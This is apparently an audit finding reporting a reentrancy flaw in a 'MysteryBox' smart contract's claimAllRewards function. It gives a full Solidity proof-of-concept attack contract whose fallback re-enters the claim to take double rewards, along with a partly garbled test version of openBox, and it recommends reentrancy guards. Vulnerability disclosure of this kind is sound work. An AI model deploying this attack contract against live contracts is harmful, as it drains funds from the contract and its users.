Summary
claimAllRewards functions are called externally by anyone. And also this function can be called double by malicious actors. Because updating state variables is implemented after transfer function. So malicious actors can withdraw several times if earned rewards.
Vulnerability Details
For testing, change the openBox
function of major contract.
function openBox() public {
require(boxesOwned[msg.sender] > 0, "No boxes to open");
rewardsOwned[msg.sender].push(Reward("Coal", 0 ether));
} else if (randomValue < 95) {
rewardsOwned[msg.sender].push(Reward("Bronze Coin", 0.1 ether));
} else if (randomValue < 99) {
rewardsOwned[msg.sender].push(Reward("Silver Coin", 0.5 ether));
} else {
rewardsOwned[msg.sender].push(Reward("Gold Coin", 1 ether));
}
*/
rewardsOwned[msg.sender].push(Reward("Gold Coin", 1 ether));
boxesOwned[msg.sender] -= 1;
}
And implement mock malicious contract like this:
pragma solidity ^0.8.0;
import "./MysterBox.sol";
contract ReentrancyAttack {
MysteryBox public mysteryBox;
address public owner;
uint256 public attackCount;
constructor(address _mysteryBoxAddress) {
mysteryBox = MysteryBox(_mysteryBoxAddress);
owner = msg.sender;
}
function attackClaimAllRewards() public payable {
require(msg.value >= mysteryBox.boxPrice(), "Insufficient ETH to buy a box");
mysteryBox.buyBox{value: msg.value}();
mysteryBox.openBox();
mysteryBox.claimAllRewards();
}
fallback() external payable {
if (attackCount < 2) {
attackCount++;
mysteryBox.claimAllRewards();
}
}
function withdraw() public {
require(msg.sender == owner, "Only owner can withdraw");
payable(owner).transfer(address(this).balance);
}
receive() external payable {}
}
And deploy two contracts(major contract, mock contract), and if calling claimAllRewards
function, and then calling the withdraw
function, as a result, malicious actor withdraw the double rewards except gas fees and price of the box buying.
Tools Used
Remix IDE
Recommendations
Sensitive functions like claimAllRewards
, claimSingleRewards
should implement reentrancy guards.